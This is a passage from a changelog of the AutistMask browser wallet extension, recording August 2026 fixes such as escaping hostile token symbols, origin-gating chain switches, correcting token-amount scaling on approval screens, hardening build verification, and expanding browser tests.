member by member — `dist/styles.css` sits at the `dist/` root outside both
|
||||
browser directories and is reported as deliberately not shipped rather than
|
||||
dropped by a glob. One version: `script/lib/version.js` fails the build when
|
||||
`package.json` and the two manifests disagree, instead of reading from one of
|
||||
them. `BUILD_COMMIT` now carries `-dirty` when the working tree does not match
|
||||
`HEAD` (and `-unknown` when git cannot say), while the full hash behind the
|
||||
About screen's commit link stays clean so the link still resolves. Two real
|
||||
browser observations back it: `tests/e2e/storagePartition.js` loads the
|
||||
extension from two different paths in one Chrome profile with and without
|
||||
`key` and records what each does, and `tests/e2e/firefox/reinstall.js`
|
||||
installs the packaged XPI in a real Firefox, creates a wallet, restarts the
|
||||
browser on the same profile, adds the add-on again and decrypts the vault back
|
||||
to the original recovery phrase — and then observes that an explicit uninstall
|
||||
DESTROYS that storage, which is correct browser behaviour but means Remove is
|
||||
irreversible for a wallet, now stated in README.md. Deliberately not done: AMO
|
||||
signing, CRX packing, tagging and any upload — the Firefox artifact is
|
||||
UNSIGNED and README.md now states that release Firefox and ESR refuse it, that
|
||||
Developer Edition or an Unbranded build is required, and that a temporary
|
||||
add-on does not survive a browser restart.
|
||||
- 2026-08-20: A second extension page can no longer silently delete a wallet
|
||||
([#304](https://git.eeqj.de/sneak/AutistMask/issues/304)). `saveState()` wrote
|
||||
the entire state blob, and every extension page — the toolbar popup, a dApp
|
||||
approval window, `backgroundRefresh()` — holds its own in-memory `state`,
|
||||
loaded once, with `showView()` saving on every navigation; a second page that
|
||||
saved after a first had written something new overwrote it, no attacker or
|
||||
unusual input required. `saveState()` is now a read-modify-write: it re-reads
|
||||
storage, diffs the persisted fields against a deep-cloned `baseline` snapshot
|
||||
taken at the last `loadState()`/`saveState()` on that page, and writes only
|
||||
the fields that actually changed — everything else is carried forward from
|
||||
storage in its loaded-and-normalized shape (`normalizePersisted()`, shared
|
||||
with `loadState()`), so a legacy or malformed record a load has always
|
||||
self-healed in memory keeps getting written back even on a save that touched
|
||||
something else entirely. `showView()` fires `saveState()` on every navigation
|
||||
without awaiting it, so two saves from the same page can be in flight at once;
|
||||
a FIFO queue serializes them rather than letting a slow one finish after a
|
||||
later one and re-derive a stale answer. Deliberately not done: the live
|
||||
`state` of a field this page does not own is not rehydrated from what another
|
||||
page wrote, only the persisted record is — adopting a concurrently-written
|
||||
value into `state` reintroduced the same clobber one page later, caught by
|
||||
`tests/txStatus.test.js` red. Two writers of the same field still resolve
|
||||
last-writer-wins, documented at the merge point. `tests/stateMerge.test.js`
|
||||
covers the two-page save and the approval-window reproduction from the issue —
|
||||
add a wallet in one page, force a save from a second page loaded before it,
|
||||
both wallets survive — each demonstrated failing against the unfixed full-blob
|
||||
write.
|
||||
- 2026-08-20: A forgotten password no longer wedges the wallet
|
||||
([#312](https://git.eeqj.de/sneak/AutistMask/issues/312)). Deleting a wallet
|
||||
was password-gated and importing its recovery phrase again was refused as a
|
||||
duplicate xpub, so a user who had the phrase but not the password could
|
||||
neither leave nor come back: the only way out was clearing extension storage
|
||||
through browser internals, which takes every other wallet with it.
|
||||
DeleteWallet now offers "I have lost my password", a screen that destroys the
|
||||
wallet after the user types its name back — no password, because requiring one
|
||||
to _discard_ a secret protects nobody. An attacker at the popup who wants the
|
||||
wallet gone can uninstall the extension; the only person such a gate stopped
|
||||
was the owner who forgot it. That was chosen over allowing a duplicate xpub to
|
||||
re-encrypt in place: re-import would have had to be built three times over
|
||||
(`hd` and `xprv` by xpub, `key` by address), would make the user retype the
|
||||
recovery phrase into a live popup to change a password, and reaches no state
|
||||
that delete-then-import does not already reach through `scanForAddresses()`.
|
||||
Both routes share one `finishDelete()`, so the selection repair, the
|
||||
site-permission cleanup and the `AUTISTMASK_ACTIVE_CHANGED` broadcast cannot
|
||||
diverge between them, and the new screen is excluded from `RESTORABLE_VIEWS` —
|
||||
a popup reopened by accident must not land on a button that erases key
|
||||
material. AddWallet's password hint now says, per import mode, that the
|
||||
password cannot be recovered or reset and what the only backup is; the hint
|
||||
line reserves its height so switching tabs cannot move the password fields.
|
||||
The test drives the real view against a `chrome.storage.local` stub that
|
||||
structured-clones on both `set` and `get` and asserts against the read-back,
|
||||
so it fails on the deletion of `saveState()` and not only on an in-memory
|
||||
splice.
|
||||
- 2026-08-20: `make build` can no longer hand back a debug build, and
|
||||
`script/verify-build` can no longer be satisfied by bytes the build did not
|
||||
produce ([#309](https://git.eeqj.de/sneak/AutistMask/issues/309)). The
|
||||
verifier used to compute its expectation from `AUTISTMASK_DEBUG` in its own
|
||||
environment, so an operator with that exported who ran the release target got
|
||||
a debug bundle — every wallet it creates carrying the publicly committed test
|
||||
phrase — certified green at exit 0. The expected mode is now the required
|
||||
argument `--expect release|debug`, with no default and nothing read from the
|
||||
environment, and the `Makefile` scrubs the flag from the verifier while
|
||||
deliberately leaving it reaching the compiler, so that shell fails the build
|
||||
loudly instead of quietly getting something other than what it asked for.
|
||||
Provenance was the other half: the check was a marker grep over a file list
|
||||
read back out of `dist/`, so a 26-byte file containing only
|
||||
`autistmask-build-debug=off` verified `ok`, `manifest.json` and the content
|
||||
script that runs on every page were never read at all, and an entire
|
||||
hand-written `dist/` passed. `build.js` now records every file it emits, with
|
||||
its sha256 and whether it is one of the bundles containing `constants.js`,
|
||||
into a receipt whose path the `Makefile` makes fresh per invocation outside
|
||||
the repo and deletes afterwards; `dist/constants-bundles.txt` is gone, and
|
||||
`dist/` is cleared before a build so it holds only what that build wrote. The
|
||||
standalone `make verify-build` target went with it: re-verifying a `dist/`
|
||||
from the `dist/` itself is the thing that was broken. What this establishes is
|
||||
narrow and stated as such in README.md — `dist/` is byte for byte the output
|
||||
of the `build.js` run that just finished — and it is not signing, which is
|
||||
[#310](https://git.eeqj.de/sneak/AutistMask/issues/310).
|
||||
`script/test-verify-build` grew from 18 cases to 39, including one per
|
||||
demonstrated bypass and the `make -n` read-back that proves the recipes pass
|
||||
the mode as an argument.
|
||||
- 2026-08-20: A hostile ERC-20 symbol no longer renders as live HTML in the
|
||||
popup ([#307](https://git.eeqj.de/sneak/AutistMask/issues/307)). A token
|
||||
symbol is whatever the contract's `symbol()` returns, the block explorer
|
||||
passes it through unfiltered, and `balanceLine()` interpolated it into an
|
||||
`innerHTML` string — so a token with the 1,000 holders the spam filter asks
|
||||
for, airdropped to the victim, could paint a full-viewport cross-origin iframe
|
||||
over the wallet's own UI, on the screens where the user types their password.
|
||||
`escapeHtml` moved to `src/shared/html.js` as a pure string replace over `&`,
|
||||
`<`, `>`, `"` and `'`: the old implementation round-tripped through a detached
|
||||
element's `textContent`, which does not escape quotes, and it was already
|
||||
being used inside `data-copy="..."`. Every interpolation into an `innerHTML`
|
||||
string across `src/popup/views/` was audited, not just the reported one — the
|
||||
transaction lists' direction label, the wallet name and ENS name in the Home
|
||||
list, the `href` in the explorer link, and the confirmation screen's warning
|
||||
line were all unescaped as well. Both manifests now declare
|
||||
`default-src 'self'` with `frame-src 'none'`; the four directives that had to
|
||||
stay looser than `'self'` are named and justified in the Content Security
|
||||
Policy section of README.md, and `tests/manifest.test.js` pins the whole set
|
||||
exactly. A display cap of 12 characters bounds the symbol, matching the bound
|
||||
`lookupTokenInfo()` already applied on the contract-read path. Not repurposed
|
||||
for any of this: `isSpoofedSymbol()`, which answers a different question and
|
||||
would have been the wrong control.
|
||||
- 2026-08-20: A page asking which chain the wallet is on is told the chain the
|
||||
user is actually on ([#317](https://git.eeqj.de/sneak/AutistMask/issues/317)).
|
||||
`eth_chainId` and `net_version` answered from `currentNetwork()`, which reads
|
||||
the module-level `state` singleton that nothing populates at module scope, so
|
||||
a service worker revived by the page's own message answered out of
|
||||
`DEFAULT_STATE` and reported mainnet `0x1`/`1` to a user on Sepolia — a dApp
|
||||
building its interaction for the wrong chain. Both now answer from
|
||||
`getState()`, the per-call detached storage read the other read handlers use,
|
||||
rather than from the singleton: these two are reachable by any page on every
|
||||
provider init, and mutating the shared singleton on that path would detach the
|
||||
wallet objects an in-flight `backgroundRefresh()` is mutating. The read side
|
||||
of the background was audited with it: the remaining singleton reads are the
|
||||
chain switch, the transaction verification path and `backgroundRefresh`, which
|
||||
each already load, and everything else answers from storage per call through
|
||||
`getState()`. One stale read is left named but unfixed, outside this issue's
|
||||
scope: `handleSendTransaction` builds its provider with no network name, so
|
||||
`getProvider()` falls back to the same unloaded singleton for ethers' static
|
||||
network hint.
|
||||
- 2026-08-20: The dApp approval screen no longer shows a token transfer it
|
||||
cannot scale as `0.0000`
|
||||
([#306](https://git.eeqj.de/sneak/AutistMask/issues/306)). `decodeCalldata`
|
||||
read decimals from the 512-entry bundled token list alone and fell back to 18,
|
||||
so every token outside it — most of them, including anything the user added by
|
||||
contract address — was displayed at the wrong scale: a `transfer` of 5,000
|
||||
units of a 6-decimal token read as `0.0000`, and a user who reads zero
|
||||
confirms the drain. The new `src/shared/approvalAmount.js` resolves the scale
|
||||
from the bundled list, then `state.trackedTokens`, then the decimals the block
|
||||
explorer already reported in `addr.tokenBalances`, and refuses one the
|
||||
explorer's own entries disagree about. Where no source knows it, the amount
|
||||
line is not formatted at all: it shows the base-unit integer and states that
|
||||
the scale is unknown, for `approve` as well as `transfer`. An unbounded
|
||||
allowance still reads `Unlimited`, which needs no scale.
|
||||
- 2026-08-20: A web page can no longer switch the wallet's chain, and switching
|
||||
no longer destroys the user's endpoints
|
||||
([#308](https://git.eeqj.de/sneak/AutistMask/issues/308)).
|
||||
`wallet_switchEthereumChain` was answered for any origin at all, with no
|
||||
connection check and no prompt: any page could clear the `[TESTNET]` banner
|
||||
under a user who believed they were on Sepolia. It now takes the same
|
||||
`allowedSites`/`connectedSites` gate the signing methods take, ahead of the
|
||||
same-chain and unsupported-chain answers, and refuses an unconnected origin
|
||||
with `4100`. The switch itself also overwrote `state.rpcUrl` and
|
||||
`state.blockscoutUrl` with the network defaults, so a user running their own
|
||||
node lost that url permanently and silently to a public endpoint that then
|
||||
sees every address they hold. Endpoints are now remembered per network in
|
||||
`state.networkEndpoints`, snapshotted from the network being left and restored
|
||||
for the network being entered; `state.rpcUrl` stays the live value for the
|
||||
active network, so no reader changed. A profile written before the map existed
|
||||
has its stored pair adopted for the network it was stored under, and loses
|
||||
nothing. The handler now loads state before it switches
|
||||
([#316](https://git.eeqj.de/sneak/AutistMask/issues/316)): the service worker
|
||||
populates nothing at module scope, so a worker revived by the page's own
|
||||
message held `DEFAULT_STATE`, and the switch persisted every field of it —
|
||||
wiping every wallet, every site approval and every tracked token from storage
|
||||
along with the endpoint.
|
||||
- 2026-08-20: The wallet's own ERC-20 send signs the amount it displayed
|
||||
([#305](https://git.eeqj.de/sneak/AutistMask/issues/305)). The confirmation
|
||||
screen renders from the block explorer's cached decimals; the transfer was
|
||||
encoded from `decimals()` read off the contract at signing time, and nothing
|
||||
compared the two, so a token whose on-chain scale disagreed — an upgradeable
|
||||
or proxy token, a stale explorer entry, a compromised Blockscout — signed an
|
||||
amount that was never on screen, off by a power of ten per decimal place of
|
||||
disagreement. The scale is now carried forward on the pending transaction from
|
||||
the same balance entry the screen's amount, balance and symbol come from, and
|
||||
the contract's answer is read at signing time only to be compared with it: a
|
||||
disagreement is a refusal naming both numbers, never a preference for either
|
||||
(`src/shared/transferAmount.js`, the `confirmTx` counterpart to
|
||||
`approvalVerify.js`). The gas estimate encodes from the same carried value and
|
||||
no longer reads `decimals()` at all. Nothing in the e2e suite had ever clicked
|
||||
`#btn-confirm-send`, which is how this shipped: the popup's own Send →
|
||||
ConfirmTx → Sign & Send → WaitTx path now runs end to end to a broadcast, with
|
||||
the `transfer()` amount decoded out of the raw signed bytes and asserted
|
||||
against what the screen displayed, and a companion case where the contract
|
||||
starts answering a different scale after the screen was built and nothing
|
||||
reaches the RPC. Reverting only the signing-side comparison turns that second
|
||||
case red and leaves the other 53 green.
|
||||
- 2026-08-17: The Settings screen is driven in a browser, and every element id
|
||||
the popup looks up is checked statically. Nothing exercised Settings in the
|
||||
e2e suite, and jest runs with no DOM, so the densest run of `$("...")` lookups
|
||||
in the codebase was unverified at runtime. Seven new cases in
|
||||
`tests/e2e/run.js` reach Settings, assert the About well and the wallet list
|
||||
were actually written, assert the four Token Spam Protection checkboxes are
|
||||
real checkboxes defaulted on, and assert the theme and network selectors offer
|
||||
the choices `src/shared/networks.js` and `index.html` define. The selectors
|
||||
are then driven to `dark` and `sepolia` — neither is the first `<option>`, so
|
||||
neither can be read back from the markup with no JavaScript involved — and
|
||||
reasserted after a popup reopen before being restored the same way, and one
|
||||
spam filter is toggled off and back on across a reopen each way. Those round
|
||||
trips run the change handler, `saveState()`, `loadState()` and the
|
||||
`init()`/`show()` assignments rather than just looking at the screen. `show()`
|
||||
no longer guards its `settings-network` lookup with `if (networkSelect)`: a
|
||||
missing element must fail loudly, which is the whole failure mode this unit
|
||||
exists to catch. Each group records a coverage key and a final case demands
|
||||
the exact set, so a shortened or skipped section reddens the run instead of
|
||||
shrinking it. `tests/popupElementIds.test.js` is the general half and runs in
|
||||
`make check` with no browser: every literal id reached through `$()`,
|
||||
`document.getElementById()`, `showError()`/`hideError()` and `showView()` must
|
||||
exist in `src/popup/index.html`, which no id in `index.html` may define twice.
|
||||
Demonstrated on four deliberate breaks — a typo'd id (both halves red), a
|
||||
handler bound to the wrong but existing element (only the functional e2e case
|
||||
red), a typo in a view no browser suite opens (only the static guard red), and
|
||||
the deletion of both persisted-value assignments in `settings.js` (only the
|
||||
selector round-trip case red)
|
||||
([#229](https://git.eeqj.de/sneak/AutistMask/issues/229)).
|
||||
- 2026-08-17: The phishing blocklist is vendored at build time and censored, and
|
||||
the runtime fetch is gone
|
||||
([#219](https://git.eeqj.de/sneak/AutistMask/issues/219)).
|
||||
`script/vendor-blocklist` fetches upstream at a pinned commit, verifies the
|
||||
sha256 of the bytes it was served, and writes
|
||||
`src/shared/phishingBlocklist.json` as truncated sha256 digests rather than
|
||||
domain names — which is what removes the competitor's name from a list that
|
||||
carried it 6,475 times, without dropping a single one of those domains.
|
||||
`script/check-censored` runs in `make check` and again against `dist/` at the
|
||||
end of every build, each permitted occurrence scoped to the one path allowed
|
||||
to carry it; the name now appears only in the vendoring script, which defines
|
||||
it once, in the provider-shim identifiers in `src/content/inpage.js`, and in
|
||||
one ERC-20's on-chain name in `src/shared/tokenList.js`. Removing the fetch
|
||||
retired the delta, the persistence and the 24-hour alarm from
|
||||
[#158](https://git.eeqj.de/sneak/AutistMask/issues/158), and retired alarms
|
||||
are now cleared rather than left running on existing installs. Two
|
||||
consequences, both deliberate: the list no longer self-updates, so it is as
|
||||
fresh as the last vendoring run that was released; and re-vendoring from
|
||||
current upstream took it from 231,357 stale entries to 105,721 current ones,
|
||||
because upstream prunes and the vendored snapshot never did. `dist/` fell from
|
||||
18.9 MB to 8.9 MB. The e2e suite now drives the warning end to end from a real
|
||||
blocklisted origin, and its service-worker interception canary has a new
|
||||
anchor, because the startup fetch it used to watch for no longer exists.
|
||||
- 2026-08-17: One wording for an empty password field on every screen that asks
|
||||
for one. The private key export screen said "Password is required." where the
|
||||
other five say "Please enter your password.", the same one-condition-two-
|
||||
wordings split that [#172](https://git.eeqj.de/sneak/AutistMask/issues/172)
|
||||
closed for a rejected password. Strings only, no behaviour change.
|
||||
`tests/passwordMessages.test.js` now pins the empty-field guard per call site
|
||||
as well as the decrypt handler, anchored on the `decryptWithPassword` sites so
|
||||
the wallet-creation screen — where an empty field means a password being
|
||||
chosen, a different condition — stays out of the set. Every error container
|
||||
measured at a 360px viewport in the pinned Playwright container: the export
|
||||
screen's container holds at 20px with the following section at the same offset
|
||||
for the old string, the new string and the empty reserved state
|
||||
([#265](https://git.eeqj.de/sneak/AutistMask/issues/265)).
|
||||
- 2026-08-17: One shared extension-API module,
|
||||
[`src/shared/browserApi.js`](src/shared/browserApi.js), is the only place in
|
||||
the tree that names `browser` or `chrome`. Every call site returns a promise;
|
||||
`runtime.lastError` is gone. The same commit gives the Firefox suite the four
|
||||
dApp round trips — `eth_requestAccounts`, `personal_sign`,
|
||||
`eth_sendTransaction` and a closed approval window rejecting with EIP-1193
|
||||
4001 — against a page and a JSON-RPC node served from loopback, which survives
|
||||
`--network none`. **The premise of
|
||||
[#153](https://git.eeqj.de/sneak/AutistMask/issues/153) does not survive that
|
||||
harness**: Firefox's `browser.*` honours a trailing Chrome-style callback and
|
||||
populates `runtime.lastError`, both measured directly on Firefox 153.0.3, and
|
||||
all four flows pass against the unconverted code. What landed is a uniformity
|
||||
and coverage change, not a repair of a broken target. `storageGet()` and
|
||||
`storageSet()` **reject** where `storage.local` is absent rather than
|
||||
resolving `{}` and a no-op write — they carry the wallet, and defaulting would
|
||||
read an existing wallet back as none. The one caller that genuinely degraded,
|
||||
[`src/shared/phishingDomains.js`](src/shared/phishingDomains.js), took
|
||||
`storageLocal()` directly and kept its own null check; it stores nothing at
|
||||
all as of [#219](https://git.eeqj.de/sneak/AutistMask/issues/219) above.
|
||||
- 2026-08-17: An address total no longer reports `$0.00` for holdings it cannot
|
||||
price. Prices exist for the top 25 tokens only, so the priced-only sum was
|
||||
printed as the total and an address holding nothing but unpriced ERC-20s was
|
||||
shown as worth nothing — directly under "This address holds a balance." on the
|
||||
address-removal confirmation. `getAddressValue()` in `src/shared/prices.js`
|
||||
now returns `{ usd, partial }`, keeping worth-zero and worth-an-unknown-amount
|
||||
apart the way an absent `holders_count` is kept apart from a count of zero,
|
||||
and every screen renders it through the one `formatAddressTotal()`: the figure
|
||||
when it covers everything, the figure marked `plus unpriced tokens` when it
|
||||
covers part, and `Total: unpriced tokens only` when it would cover nothing.
|
||||
Home, AddressDetail and the removal confirmation all read it, and
|
||||
`getWalletValue()`/`getTotalValue()` carry `partial` up. Covered by
|
||||
`tests/addressValue.test.js` — the only-unpriced, genuinely-zero and
|
||||
fully-priced cases at the helper and at both call sites that return their
|
||||
markup — demonstrated failing first
|
||||
([#261](https://git.eeqj.de/sneak/AutistMask/issues/261)).
|
||||
- 2026-08-17: `README.md` no longer advertises a defect the wallet does not
|
||||
have. The End-to-End Tests section listed the EIP-1193 code being dropped in
|
||||
the last hop into the page as a standing limit of the dApp coverage; that
|
||||
stopped being true when
|
||||
[#274](https://git.eeqj.de/sneak/AutistMask/issues/274) landed and did not
|
||||
touch the README. The paragraph is deleted and the two remaining limits — the
|
||||
stubbed RPC and the unobservable toolbar popup — were checked against the
|
||||
current `src/content/inpage.js` and `tests/e2e/` and left as they are
|
||||
([#285](https://git.eeqj.de/sneak/AutistMask/issues/285)).
|
||||
- 2026-08-17: One transaction approval at a time. Populating in the background
|
||||
before the window opens is what makes the displayed object the verified
|
||||
object, and it also fixes the nonce: two `eth_sendTransaction` calls populated
|
||||
concurrently took the same nonce from a node that had seen neither broadcast,
|
||||
and the second could then never be sent, because the only way to give it a
|
||||
fresh nonce is to populate it again after the user has read the old one off
|
||||
the screen. A second request is now refused with EIP-1193 `-32002` while one
|
||||
is unanswered — the slot is taken immediately before population, after the
|
||||
authorization checks, so no second nonce is allocated, no second window opens,
|
||||
and a page the wallet refuses anyway cannot hold the slot against the
|
||||
connected site. The slot is freed at `settleApproval()`, the single point an
|
||||
approval is retired, so every path that ends an approval ends the hold with
|
||||
it; an approval whose window is gone and whose attempt has failed is settled
|
||||
there rather than left waiting on a window that no longer exists, and an
|
||||
approval window that could not be opened at all is answered with `-32603`
|
||||
instead of holding the page's promise open. Signature approvals are not gated,
|
||||
consuming no nonce. A collision that does happen is also reported accurately
|
||||
now: a broadcast the node refused for the nonce, and an approval carrying a
|
||||
nonce this worker has already broadcast for that address on that chain (caught
|
||||
before the node is asked at all), both say the transaction did not reach the
|
||||
network and to send it again, instead of warning that it may have sent. The
|
||||
record is keyed by chain as well as address, because nonce spaces are per
|
||||
chain and low nonces overlap across them. `already known` deliberately keeps
|
||||
the ambiguous wording, because a node that says it has the transaction has it
|
||||
([#271](https://git.eeqj.de/sneak/AutistMask/issues/271)).
|
||||
- 2026-08-14: The parts of the
|
||||
[#150](https://git.eeqj.de/sneak/AutistMask/issues/150) and
|
||||
[#151](https://git.eeqj.de/sneak/AutistMask/issues/151) definition of done the
|
||||
e2e suite did not cover are asserted. It had only shown that the two screens
|
||||
open without throwing. Now: the Add Token round trip leaves the navigation
|
||||
stack exactly as it found it, read out of extension storage rather than
|
||||
inferred from which screen is up, so an orphaned entry — the second-order
|
||||
damage of #150 — is caught where it happens rather than one Back press later;
|
||||
a common-token quick-pick puts its contract address in the field; the native
|
||||
ETH detail path renders with its own type, value and raw quantity and with the
|
||||
token contract row still hidden, against a new `seedNativeTransfer` fixture,
|
||||
since the normal-transactions endpoint answered `[]` unconditionally and there
|
||||
was no non-ERC-20 row to open; and tapping the token contract address puts it
|
||||
on the real clipboard, read back after a sentinel write. Each of the four was
|
||||
demonstrated failing against a deliberately broken build
|
||||
([#188](https://git.eeqj.de/sneak/AutistMask/issues/188)).
|
||||
- 2026-08-14: `make check` does static analysis. `script/lint` ran
|
||||
`prettier --check .`, byte-identical to `script/fmt-check`, so a wallet with
|
||||
two shipped used-but-not-imported crashes behind it was green. ESLint is now
|
||||
pinned in `package.json` with `@eslint/js` recommended as the base, flat
|
||||
config in `eslint.config.js`, `no-undef` and `no-unused-vars` error-level, and
|
||||
globals declared per tree — browser for the popup and content scripts, service
|
||||
worker for `src/background/` and `src/shared/`, jest for `tests/`, node for
|
||||
`build.js`. It found 41 unused bindings and 53 undefined identifiers; all are
|
||||
fixed, and dropping a call to an unimported `foo()` into any `src/` file fails
|
||||
`make lint`. Linting is also containerized now: `script/lint` builds the
|
||||
Dockerfile's new `lint` stage, so the ESLint that decides whether this repo is
|
||||
green is the pinned one and not the host's. The lint stage roughly doubles the
|
||||
image build, so `script/test`'s hard timeout is now a bound on a hung suite
|
||||
rather than a wall-clock budget: 30s on the host, where the suite runs in
|
||||
about 8s, and `AUTISTMASK_TEST_TIMEOUT` raises it inside the image, where a
|
||||
cold build pays install and contention costs the policy budget never described
|
||||
([#152](https://git.eeqj.de/sneak/AutistMask/issues/152)).
|
||||
- 2026-08-14: CI runs the browser end-to-end suites. `.gitea/workflows/e2e.yml`
|
||||
runs `script/test-e2e` and `script/test-e2e-firefox` as two jobs on every
|
||||
push, separate from `check`, so `make check` and its 20-second `make test` cap
|
||||
are untouched. Every browser-level guarantee in this repo — the WASM-under-CSP
|
||||
check, the recovery-phrase and private-key DOM wipes, the ConfirmTx spend
|
||||
gate, the dApp approval round trips — was enforced only when a human
|
||||
remembered to run it by hand. The suites could not run on the runner as they
|
||||
stood: the runner executes a job in a container against the host's docker
|
||||
daemon, so `docker run -v "$PWD:/work"` mounts an empty directory (measured),
|
||||
and the runner image's node cannot install this repo's dependencies. Both
|
||||
suites now ship the repo to the daemon as a build context and build the
|
||||
extension inside the pinned image, so docker is the only prerequisite on a
|
||||
runner or a laptop, and both run the image by ID rather than by tag so
|
||||
concurrent clones cannot swap it. The jobs report rather than gate — this repo
|
||||
configures no branch protection, and the Chrome suite is measurably flaky
|
||||
under load, filed as [#287](https://git.eeqj.de/sneak/AutistMask/issues/287)
|
||||
rather than papered over
|
||||
([#259](https://git.eeqj.de/sneak/AutistMask/issues/259)).
|
||||
- 2026-08-14: A background message handler that throws now rejects the page
|
||||
instead of hanging it. `handleRpc(...).then(sendResponse)` had no `.catch()`,
|
||||
and `sendResponse` is the only thing that settles the dApp's
|
||||
`window.ethereum.request()` promise — so any throw inside `handleRpc` left
|
||||
that promise pending forever, with no error and no timeout, indistinguishable
|
||||
from a slow wallet. It now answers `{ code: -32603, message }` (the JSON-RPC
|
||||
internal error EIP-1474 defines and EIP-1193 defers to; no EIP-1193 4xxx code
|
||||
describes "the wallet broke" and none was invented) and logs the method and
|
||||
the throw to the background console rather than swallowing them. The two async
|
||||
IIFEs behind `AUTISTMASK_TX_RESPONSE` and `AUTISTMASK_SIGN_RESPONSE` were the
|
||||
same shape one level down — every statement inside a `try`, but a throw out of
|
||||
a `catch` block escaping unhandled — and each got a last-resort `.catch()`
|
||||
settling the approval through `settleApproval()` and answering the popup. The
|
||||
transaction one tracks which phase it escaped from and reports that, so an
|
||||
escape before `broadcastTransaction()` says the request is gone rather than
|
||||
that it may still have reached the network. Every other handler on the path is
|
||||
synchronous. All four are driven by real failures — a rejecting storage read,
|
||||
and a failure classifier that throws while classifying a genuine verification
|
||||
or broadcast failure — and were demonstrated failing first, the RPC one with
|
||||
`sendResponse` at zero calls
|
||||
([#280](https://git.eeqj.de/sneak/AutistMask/issues/280)).
|
||||
- 2026-08-14: Approving a site connection is no longer a race against the popup
|
||||
closing. The decision now rides the approval port the popup already holds,
|
||||
which is the same channel the close disconnects, so it is delivered ahead of
|
||||
that disconnect however fast the teardown is; `windows.onRemoved` no longer
|
||||
decides a site approval whose port is connected, since that event is ordered
|
||||
against nothing either. Rejecting and closing without deciding both still
|
||||
report a rejection, and the popup delays its own close by nothing. The e2e
|
||||
harness's deferred-`window.close()` accommodation is gone with it, so the two
|
||||
site-prompt tests now drive the shipped decide-then-close in a real Chromium;
|
||||
against the unfixed code the approval came back to the page as
|
||||
`{"settled":"rejected","code":4001}`
|
||||
([#275](https://git.eeqj.de/sneak/AutistMask/issues/275)).
|
||||
- 2026-08-12: EIP-1193 error codes now reach the page. `src/content/inpage.js`
|
||||
rebuilt every failure as `new Error(error.message)`, so the code the
|
||||
background produced and the content script relayed intact was dropped in the
|
||||
last hop and a dApp checking `err.code === 4001` saw `undefined` — a wallet
|
||||
the user deliberately declined was indistinguishable from one that broke. The
|
||||
provider now rejects with a `ProviderRpcError` carrying `code` and, where the
|
||||
boundary sent one, `data`, passed through verbatim rather than matched against
|
||||
a list, so 4001, 4100 and 4902 all arrive and a future code needs no edit
|
||||
here. An error the background sent with no code stays a plain `Error` with no
|
||||
`code` property, and `message` is unchanged in every case. All four request
|
||||
entry points (`request`, `enable`, `send`, `sendAsync`) are covered by
|
||||
`tests/inpageErrors.test.js`, and the e2e probe that printed the missing code
|
||||
now requires it on the page's Error as well as on the wire, for all four
|
||||
rejected flows ([#274](https://git.eeqj.de/sneak/AutistMask/issues/274)).
|
||||
- 2026-08-12: "Back" now renders the screen it lands on instead of only unhiding
|
||||
it. A reopened popup renders the wallet list and the one screen it restores
|
||||
onto, so every screen further down the stack was still the blank template from
|
||||
`index.html`, and Back walked straight onto it — an empty address, no
|
||||
balances, no QR code. The Back path now goes through the same per-view
|
||||
dispatch and data guards as the restore (`src/popup/viewRouter.js`, shared
|
||||
with `restoreView()`), falling back to Home when the state the target would
|
||||
render is gone. It renders only a view this page load has not rendered yet:
|
||||
`viewRouter.js` records every view that reaches `showView()`, which is where
|
||||
forward navigation and the restore both end, so Back onto a view already on
|
||||
the page unhides it and nothing more. That is what keeps a second render from
|
||||
re-fetching and overwriting what the view holds — an unsaved edit in Settings,
|
||||
a transaction list already loaded. Home is the exception and is always
|
||||
re-rendered, as it was before. Covered by unit tests on the real `goBack()`
|
||||
and by three end-to-end cases against the real popup, each demonstrated
|
||||
failing on the unfixed build
|
||||
([#268](https://git.eeqj.de/sneak/AutistMask/issues/268)).
|
||||
- 2026-08-12: `KNOWN_SYMBOLS` now maps a symbol to the set of contract addresses
|
||||
that bear it, not to one of them. A ticker is not unique: seven of the 512
|
||||
bundled tokens — `FRAX`, `REUSD`, `TON`, `EURE`, `MSUSD`, `MUSD` and `JPYC` —
|
||||
share a symbol with another bundled entry at a different real contract, and
|
||||
the table, built from the list first-wins, kept only the earlier one. The
|
||||
other seven were judged spoofs of their own symbol at their own address and
|
||||
hidden from the balance list, the history and the send selector, so a holder
|
||||
could not spend them. Both contracts of each pair come from the same CoinGecko
|
||||
fetch of 2026-02-27, so neither was stale and neither was dropped.
|
||||
`isSpoofedSymbol()` asks set membership instead of equality, which does not
|
||||
loosen the rule — a contract outside the set is still a spoof — and a test now
|
||||
walks `TOKENS` asserting no bundled token is filtered at its own address,
|
||||
which is the walk the suite lacked
|
||||
([#276](https://git.eeqj.de/sneak/AutistMask/issues/276)).
|
||||
- 2026-08-12: The dApp approval round trips are driven end to end in the
|
||||
browser. A test page served by the harness speaks EIP-1193 to the real inpage
|
||||
provider through the real content script, background worker and approval popup
|
||||
for `eth_requestAccounts`, `personal_sign`, `eth_signTypedData_v4` and
|
||||
`eth_sendTransaction`. Every signature is recovered and compared against the
|
||||
active address, the transaction is checked against the bytes handed to the
|
||||
stubbed RPC, each rejection must reach the page as a rejection, and the
|
||||
password must appear in no message the approval window sends — the assertion
|
||||
that gives [#157](https://git.eeqj.de/sneak/AutistMask/issues/157) a permanent
|
||||
floor. This does not discharge a real dApp with real funds against mainnet
|
||||
([#183](https://git.eeqj.de/sneak/AutistMask/issues/183)).
|
||||
- 2026-08-12: The known-symbol spoof rule now judges the symbol a user actually
|
||||
sees. `isSpoofedSymbol()` normalizes before the lookup — NFKC, then every
|
||||
character that paints nothing removed (the format and default-ignorable
|
||||
characters, plus U+007F), then trimmed — so `" ETH "`, a no-break space, a
|
||||
zero-width space, a Hangul filler, a variation selector, a DELETE and a
|
||||
fullwidth `ＥＴＨ` are all caught on the balance list, the history and the
|
||||
send selector at once. Confusables that are distinct letters (Cyrillic `Е`),
|
||||
bidi reordering and the visible C0/C1 controls — which measure 48.00px, a box,
|
||||
in the pinned e2e Chromium where an invisible prefix measures 32.00px — stay
|
||||
knowingly open and are asserted as open in the suite. No bundled symbol
|
||||
contains whitespace or a non-ASCII character, so nothing legitimate is newly
|
||||
filtered; the balance list's token-type gate also became case-insensitive,
|
||||
which no longer drops a real holding if an explorer writes `erc-20`
|
||||
([#260](https://git.eeqj.de/sneak/AutistMask/issues/260)).
|
||||
- 2026-08-12: A containerized Firefox end-to-end harness
|
||||
(`make test-e2e-firefox`) drives the real popup in a real Firefox with the MV2
|
||||
